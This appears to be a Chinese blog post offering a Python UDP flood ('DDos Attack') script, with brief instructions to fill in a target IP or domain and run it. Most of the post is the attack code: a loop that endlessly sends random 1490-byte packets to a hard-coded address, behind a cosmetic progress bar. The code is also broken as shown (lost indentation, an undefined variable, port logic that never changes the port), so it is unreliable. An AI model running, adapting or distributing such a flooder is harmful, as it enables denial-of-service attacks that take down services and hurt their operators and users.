实践有安全风险,谨慎使用,后果自负
在使用前,请将要攻击的服务域名或IP填写到sock.sendto(bytes, ("IP/域名",端口)),即可,使用python命令启动
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
os.system("clear")
os.system("figlet DDos Attack")
print
print ("Author : HA-MRX")
print ("You Tube : https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA")
print ("github : https://github.com/Ha3MrX")
print ("Facebook : https://www.facebook.com/muhamad.jabar222")
print
os.system("clear")
os.system("figlet Attack Starting")
print ("[ ] 0% ")
time.sleep(5)
print ("[===== ] 25%")
time.sleep(5)
print ("[========== ] 50%")
time.sleep(5)
print ("[=============== ] 75%")
time.sleep(5)
print ("[====================] 100%")
time.sleep(3)
sent = 0
while True:
sock.sendto(bytes, ("192.168.120.204",80))
sent = sent + 1
port = 80 + 1
print ("Sent %s packet to %s throught port:%s"%(sent,ip,port))
if port == 65534:
port = 1
欢迎大家评论,转载
本文暂时没有评论,来添加一个吧(●'◡'●)